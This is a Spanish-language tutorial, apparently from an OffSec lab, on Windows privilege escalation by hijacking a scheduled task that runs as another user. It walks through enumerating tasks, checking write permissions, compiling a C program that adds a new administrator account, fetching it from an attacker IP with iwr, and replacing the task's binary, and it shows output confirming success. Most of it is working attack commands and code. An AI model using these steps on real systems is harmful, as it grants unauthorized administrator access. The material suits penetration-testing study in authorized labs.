Las scheduled tasks son tareas que se ejecutan cada cierto tiempo, son como las tareas cron de Linux, pero en windows. Para abusar de las Scheduled tasks, necesitamos cumplir tres requisitos,

En primer lugar, listamos las scheduled tasks del sistema

PS C:\\Users\\steve> schtasks /query /fo LIST /v
...
Folder: \\Microsoft
HostName:                             CLIENTWK220
TaskName:                             \\Microsoft\\CacheCleanup
Next Run Time:                        7/11/2022 2:47:21 AM
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        7/11/2022 2:46:22 AM
Last Result:                          0
Author:                               CLIENTWK220\\daveadmin
Task To Run:                          C:\\Users\\steve\\Pictures\\BackendCacheCleanup.exe
Start In:                             C:\\Users\\steve\\Pictures
Comment:                              N/A
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode
Run As User:                          daveadmin
Delete Task If Not Rescheduled:       Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        One Time Only, Minute
Start Time:                           7:37:21 AM
Start Date:                           7/4/2022
...

En este caso por ejemplo, hemos encontrado una tarea que la ejecuta el usuario daveadmin, y se ejecuta cada minuto, ahora debemos saber si tenemos permisos de escritura para poder suplantar el binario BackendCacheCleanup.exe

PS C:\\Users\\steve> icacls C:\\Users\\steve\\Pictures\\BackendCacheCleanup.exe
C:\\Users\\steve\\Pictures\\BackendCacheCleanup.exe NT AUTHORITY\\SYSTEM:(I)(F)
                                                BUILTIN\\Administrators:(I)(F)
                                                CLIENTWK220\\steve:(I)(F)
                                                CLIENTWK220\\offsec:(I)(F)

Observamos que teneos Full Access (F), ahora debemos crear un binario malicioso, compilarlo y transferirlo a la máquina windows víctima

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}
kali@kali:~$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
PS C:\\Users\\dave> iwr -uri <http://192.168.119.3/adduser.exe> -Outfile adduser.exe

Procedemos a renombrar el archivo original con extensión .bak y mover nuestro binario malicioso a la misma ruta del original pero con el nombre original

PS C:\\Users\\steve> move .\\Pictures\\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak

PS C:\\Users\\steve> move .\\BackendCacheCleanup.exe .\\Pictures\\

Esperamos un minuto y comprobamos que se ha creado el usuario y se ha añadido al grupo de Administrators que hemos indicado en el binario malicioso que hemos creado.

PS C:\\Users\\steve> net user

User accounts for \\\\CLIENTWK220

-------------------------------------------------------------------------------
Administrator            BackupAdmin              dave
dave2                    daveadmin                DefaultAccount
Guest                    offsec                   steve
WDAGUtilityAccount
The command completed successfully.

PS C:\\Users\\steve> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
BackupAdmin
dave2
daveadmin
offsec
The command completed successfully.